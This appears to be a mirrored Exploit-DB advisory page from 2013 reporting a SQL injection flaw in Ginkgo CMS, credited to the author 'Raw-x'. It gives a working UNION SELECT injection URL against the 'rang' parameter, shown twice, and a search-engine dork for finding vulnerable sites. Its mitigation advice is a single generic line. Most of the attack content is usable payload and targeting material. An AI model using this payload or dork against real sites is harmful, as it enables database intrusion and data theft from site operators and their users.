Ginkgo CMS SQL injection

vendor:

Ginkgo CMS

by:

Raw-x

7,5

CVSS

HIGH

SQL Injection

CWE

Product Name: Ginkgo CMS

Affected Version From: N/A

Affected Version To: N/A

Patch Exists: N/A

Related CWE: N/A

CPE: N/A

Metasploit: N/A

Other Scripts: N/A

Tags: N/A

CVSS Metrics: N/A

Nuclei References: N/A

Nuclei Metadata: N/A

Platforms Tested: Linux

2013

Ginkgo CMS is vulnerable to SQL injection. An attacker can exploit this vulnerability by sending a crafted URL to the vulnerable application. For example, http://server/index.php?rang=5'/**/div/**/0/**/UNION/**/SELECT/**/1,2,3,4,5-- -

Mitigation:

Input validation should be used to prevent SQL injection attacks.

Source

Exploit-DB raw data:

 __               ___   ________   __                       __           ____    __  __     
/\ \             /\_ \ /\_____  \ /\ \                     /\ \         /\  _`\ /\ \/\ \    
\ \ \      __  __\//\ \\/____//'/'\ \ \___      __      ___\ \ \/'\     \ \ \L\ \ \ \ \ \   
 \ \ \  __/\ \/\ \ \ \ \    //'/'  \ \  _ `\  /'__`\   /'___\ \ , <      \ \ ,  /\ \ \ \ \  
  \ \ \L\ \ \ \_\ \ \_\ \_ //'/'___ \ \ \ \ \/\ \L\.\_/\ \__/\ \ \\`\   __\ \ \\ \\ \ \_\ \ 
   \ \____/\ \____/ /\____\/\_______\\ \_\ \_\ \__/.\_\ \____\\ \_\ \_\/\_\\ \_\ \_\ \_____\
    \/___/  \/___/  \/____/\/_______/ \/_/\/_/\/__/\/_/\/____/ \/_/\/_/\/_/ \/_/\/ /\/_____/

############################################################################################
# Exploit Title   : Ginkgo CMS SQL injection                                               #
# Date            : 31 July 2013                                                           #      
# Exploit Author  : Raw-x                                                                  # 
# Site            : http://www.ginkgo-cms.com/                                             #   
# Tested on       : Linux                                                                  #    
############################################################################################

Dork: 

~~~ inurl:"index.php?rang=" intext:"Ginkgo CMS" ~~~

Examples:

http://server/index.php?rang=5'/**/div/**/0/**/UNION/**/SELECT/**/1,2,3,4,5-- -


############################################################################################
#                       Thanks to:   lulzhack.ru | zentrixplus.net                         #
############################################################################################